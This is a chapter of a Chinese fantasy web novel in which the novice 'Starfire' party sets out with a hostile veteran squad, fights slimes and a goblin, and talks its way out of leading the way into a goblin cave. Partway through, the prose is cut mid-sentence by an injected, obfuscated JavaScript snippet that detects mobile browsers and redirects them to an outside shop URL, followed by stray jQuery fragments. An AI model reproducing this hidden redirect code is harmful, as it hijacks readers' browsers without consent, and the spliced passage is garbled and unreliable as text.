两天后的黎明，17号据点内。
张大山站在壁炉旁，左手的厚布裹得严严实实，但指根处那狰狞的缺失轮廓依旧清晰。
他右手紧握着一面崭新的盾牌——
那是肯特用整整两天时间，加上最后一点钱换来的厚实橡木板、坚韧皮绳和加固铁条赶工出来的。
这面盾牌比之前那面破烂木盾沉重得多，也更厚实坚固。
粗糙的木板被肯特用磨石打磨得相对平整，边缘包裹着几圈浸过油脂的厚皮条，增加抗劈砍能力。
内侧用皮绳编成牢固的握把和臂带，关键部位还铆上了几根粗短的铁条，虽然工艺简陋，却散发着一种沉甸甸的安全感。
张大山沉默地适应着它的重量，用肩膀抵住盾牌内侧的绑带，每一次移动都带着沉稳的力量感，仿佛要将这面盾牌融入自己的身体。
这是保护，也是他重新站起来的宣言。
陈猛检查着自己那件被肯特用铁片加固过的皮甲，像套了个铁皮桶，活动起来有些笨拙，但他没抱怨，只是用力挥了挥同样被重新打磨加固过的巨剑，带起风声。
背上还背着张大山还给他的小圆盾和备用的铁剑。
林晓背上短弓，箭袋里插着几支珍贵的黑羽箭和更多修复过的普通箭矢，眼神专注。
苏文依旧穿着宽大的皮甲，但她将那根灰布包裹的木杖紧紧系在背上，怀里揣着那本神秘的小册子，苍白的小脸上努力维持着镇定。
肯特则检查着每个人的装备，腰间挂着短剑、药膏袋和几个用油纸包好的、沉甸甸的“特殊物品”，眼神锐利如鹰。
“出发。”肯特的声音打破了寂静。
北城门处，晨光熹微。
高大的门洞下，已经**了一小队人。
六个身影，穿着王国制式但同样陈旧磨损的皮甲，身上带着久经沙场的风霜和一种与“炉渣街”居民不同的、混合着血与漠然的气息。
他们就是这次任务的老兵队伍。
为首的是个身材中等、面容刻板如岩石的中年男人
，脸上有一道斜贯眉骨的旧疤，眼神像淬过火的铁块，冰冷而缺乏波澜。
他腰间挎着一把保养得不错的制式长剑，目光在肯特五人身上扫过，没有任何情绪，只是微微点了下头：
“‘星火’小队是吧。我是队长，巴顿。人要是到齐了我们现在就出发。”
他的声音和他的脸一样硬邦邦。
他身后五个老兵神态各异。
一个扛着战斧的矮壮汉子，满脸横肉，看到陈猛那身“铁皮桶”装扮和张大山手里的新盾牌，毫不掩饰地嗤笑一声，眼神像在打量一堆碍事的垃圾。
另一个背着长矛的瘦高个，眼神阴鸷，嘴角撇着，目光在林晓和苏文身上扫过，带着毫不掩饰的轻蔑和一丝下流。
第三个是个沉默的刀盾手，抱着臂膀，眼神空洞地望着城外，仿佛对一切都漠不关心。
第四个则是个背着长弓、脸上带着一道浅疤的精悍男人，他只是冷冷地瞥了肯特他们一眼，便不再关注。
然而，队伍最后面，一个头发花白、身形有些佝偻的老兵却引起了肯特的注意。他背着一个鼓鼓囊囊的行囊，腰间挂着水囊和短刀，手里拄着一根磨得光滑的木棍。
他的脸上布满皱纹，眼神浑浊，但在看到肯特他们五人——特别是看到苏文那苍白稚嫩的脸庞和张大山明显还带着伤的手时——浑浊的眼底深处，飞快地掠过一丝难以言喻的、混杂着痛楚与悲悯的情绪。
那目光一闪即逝，快得几乎让人以为是错觉，随即又恢复了老兵特有的麻木。
他没有像其他人那样表现出明显的恶意，只是默默地垂下眼睑，看着脚下的尘土。
“跟紧，掉队自行负责。”
巴顿队长言简意赅，没有任何多余的指令或介绍，转身率先迈出了高大的城门洞。
其他老兵鱼贯跟上，那个带着斧头的家伙走过肯特他们身边时，毫不客气地用肩膀撞开挡路的陈猛，留下几声不屑的冷哼。
“操……”陈猛低声咒骂，拳头捏紧。
“跟上去。”
肯特低声道，声音沉稳有
力压下了陈猛的怒火。
五人迅速跟上张大山提着新盾牌沉默地走在队伍最后像一座移动的堡垒忠实地守护着小队的后方。
城外寒风凛冽。枯黄的草甸在晨曦中铺展一直延伸到远方那片墨绿色的、如同巨兽匍匐的幽暗森林边缘。
他们的目标是森林外围西侧一处名为“碎石谷”的地方。
老兵队伍行进速度很快路线显然非常熟悉。他们沉默而高效彼此间几乎不用言语交流仅凭手势和眼神就能完成警戒和路线调整。
那种长期并肩作战形成的默契让肯特暗暗心惊。
相比之下“星火”五人显得有些笨拙。
张大山需要适应新盾牌的重量和平衡陈猛穿着“铁皮桶”行动不便林晓和苏文则要努力跟上步伐同时警惕着四周。
肯特则一边走一边不断观察着老兵们的队形、行进方式以及周围的地形地貌默默记在心中。
路程并不平静。
离开要塞约一个多小时后在一处低洼的枯草坡地遭遇了第一波袭击。
三只墨绿色的史莱姆如同被惊动的鼻涕虫从草丛中弹射而出直扑队伍侧翼！
“散开！”巴顿队长低喝一声声音不大却带着不容置疑的力量。
老兵队伍瞬间做出反应。
那个沉默的刀盾手一步踏前厚重的方盾“砰”地一声顿在地上稳稳挡住了两只史莱姆喷射的粘稠水流！
水流冲击在盾牌上发出沉闷的响声却无法撼动他分毫。
同时背长弓的老兵已经闪电般抽箭搭弦“咻！咻！”两箭精准射出目标并非史莱姆核心而是靠箭羽的射入短时间干扰史莱姆的速度。
矮壮的战斧手怪叫一声趁一只史莱姆蠕动不稳的瞬间沉重的战斧背面带着破风声狠狠拍下！
“噗叽！”一声粘稠的胶质四溅那只史莱姆被巨大的力量拍扁在地
另一只史莱姆更是被不知名的力量洞穿应该是那
个拿着木棍的老兵做的。
整个战斗过程行云流水，配合默契，不到十秒，两只史莱姆就变成了两滩烂泥和两个个黯淡的核心。
老兵们甚至没有离开自己的位置太多。
“星火”这边也遭遇了一只。
那史莱姆弹射的方向正好偏向他们。
“大山！”肯特低喝。
张大山毫不犹豫，新盾牌猛地前顶！
“砰！”史莱姆撞在厚实的橡木盾面上，滑腻的胶质四溅，冲击力让张大山壮硕的身躯也微微一晃，但盾牌纹丝不动！
史莱姆身体收缩，准备再次喷射。
就在这时，张大山动了。
他闪电般从腰间抽出一柄短柄、方头、棱角分明的单手短锤——这是肯特特意为张大山准备的，考虑到他左手受伤，单手持握更易发力，对付软目标也更有效！
“喝！”张大山低吼一声，手臂肌肉贲张，短锤带着沉闷的风声，精准而狠辣地砸在史莱姆收缩的核心位置！
“啵！”一声闷响！
那核桃大小的核心在短锤沉重的钝击下瞬间碎裂！史莱姆如同泄了气的皮球，瞬间瘫软瓦解，变成一滩毫无生机的粘液。
干净利落！一击毙命！
陈猛刚刚举起巨剑，战斗就结束了。他悻悻地放下武器，嘟囔了一句：“……还挺快。”
老兵队伍那边，矮壮的战斧手看到张大山这干脆利落的一锤，脸上的讥讽稍微收敛了一点，但依旧哼了一声。
巴顿队长只是淡淡地瞥了一眼，没有任何表示。
那个银发老兵则又飞快地看了张大山一眼，随即又低下头。
队伍继续前进。又遭遇了一次零星的哥布林袭击，只有一只。
那是一只瘦小的绿皮生物，尖叫着从一块巨石后跳出来，挥舞着一把生锈的**。
结果还没冲到队伍跟前，就被背长弓的老兵随手一箭射穿了喉咙，像只被踩扁的虫子一样倒在地上抽搐。
倒是哥布林的尸体让苏文本来就煞白的脸更加白了些。
临近中午，地势开始变得崎岖，枯黄的草甸逐渐被裸露的灰白色岩石和低矮的灌木取代。
空气变得更加阴冷潮湿，风中开始夹杂着一股若有若无的、混合着腐烂植物和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16417348|184705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动物粪便的难闻气味。
巴顿队长停下脚步，摊开一张磨损严重的皮质地图看了看，又抬头望向不远处一片被风化侵蚀得千疮百孔、布满巨大碎石的山壁。
山壁底部，一个黑黢黢的、如同巨兽咽喉般的洞口赫然在目。
洞口边缘散落着一些破碎的骨头、污秽的毛发和一些难以辨认的垃圾，那股腐臭的气味正是从这里散发出来。
“到了。”巴顿队长收起地图，声音依旧毫无波澜。他转身，目光扫过自己手下的老兵，最后落在肯特五人身上，尤其是张大山那面新盾牌和他腰间的短锤上。
阴鸷的长矛手立刻上前一步，用矛尖毫不客气地指向洞口：
“队长，让这帮新来的‘新星’打头阵！正好试试他们的成色，也省得我们趟雷！”
他脸上带着恶意的笑容。
矮壮的战斧手也咧嘴附和着
背长弓的老兵和沉默的刀盾手没说话，但眼神也默认了这个提议。
只有那个银发老兵嘴唇动了动，似乎想说什么，但最终只是深深叹了口气，把头垂得更低。
气氛瞬间变得剑拔**张。
陈猛眼中怒火升腾，握紧了巨剑。
林晓脸色发白，下意识地握紧了短弓。苏文更是吓得往张大山身后缩了缩。
张大山则握紧了盾牌，一步挡在众人身前，沉默如山。
肯特的心沉了下去。
最坏的情况还是发生了。但他脸上没有任何惊慌，反而上前一步，目光平静地迎向巴顿队长那冰冷的视线。
“巴顿队长，”
肯特的声音清晰而沉稳，在压抑的气氛中显得格外突兀，
“王国任务条例中：协同任务中，经验丰富、装备精良的队伍应承担主要攻坚职责，以最大限度保障任务成功率和人员安全。
我们是‘新星’，经验装备远逊于各位，打头阵只会徒增伤亡，延误任务，甚至可能会因为经验不足触发未知陷阱，连累各位。
这恐怕……不符合条例，也不利于完成王国交付的任务。”
他搬出了“王国条例”，语气不卑不亢，有理有据。
他赌的就是巴顿队长这种老兵对“规矩”的重视同时也听说过王国的士兵都有和王国条例签订过自己的名字。
这个世界的条例可不是一张白纸，哪怕微弱也是有着魔法维护着的。
如果肯特他们不知道那还会被他们带到坑里，但当他们有人知道的情况下……就看这个队长愿不愿意付出违背条例的代价了。
果然，巴顿队长那冰冷的眼中闪过一丝波动。他盯着肯特看了几秒钟，似乎在评估这个“新星”话里的分量。
阴鸷的长矛手还想说什么，却被巴顿队长抬手制止了。
“够了。”
巴顿队长的声音依旧硬邦邦，却带着不容置疑的决断，
“按规矩来。我们开路。‘星火’殿后，负责警戒后方和侧翼。保持距离，别碍事。”
他最后冷冷地扫了肯特一眼，那眼神仿佛在说“算你走运”。
说完，他不再理会任何人，对身后的老兵做了几个手势。
刀盾手立刻举盾走在了最前面，战斧手和长矛手紧随其后，长弓手则拉开了距离，箭搭在弦上。
巴顿队长居中指挥。那个银发老兵默默地跟在最后，经过肯特身边时，似乎又飞快地瞥了他一眼。
老兵队伍如同一个精密的战争机器，沉默而警惕地朝着那散发着腐臭气息的黑暗洞口移动。
肯特暗暗松了口气，手心全是冷汗。
这第一关，算是过去了。
他回头，对着同伴们沉声道：
“按队长命令，殿后警戒！注意脚下和两侧！大山，护住后方！”
五人立刻调整队形。
张大山提着新盾牌，如同最坚实的壁垒，守在队伍最后方，警惕地注视着来路和两侧的乱石堆。
陈猛换上铁剑和小圆盾和林晓分立左右，苏文紧跟在肯特身边。
洞口如同巨兽张开的嘴巴，吞噬了老兵队伍的身影，只留下浓重的黑暗和令人作呕的腐臭。
“星火”小队紧随其后，踏入了这片未知的、充满哥布林恶臭的黑暗领域。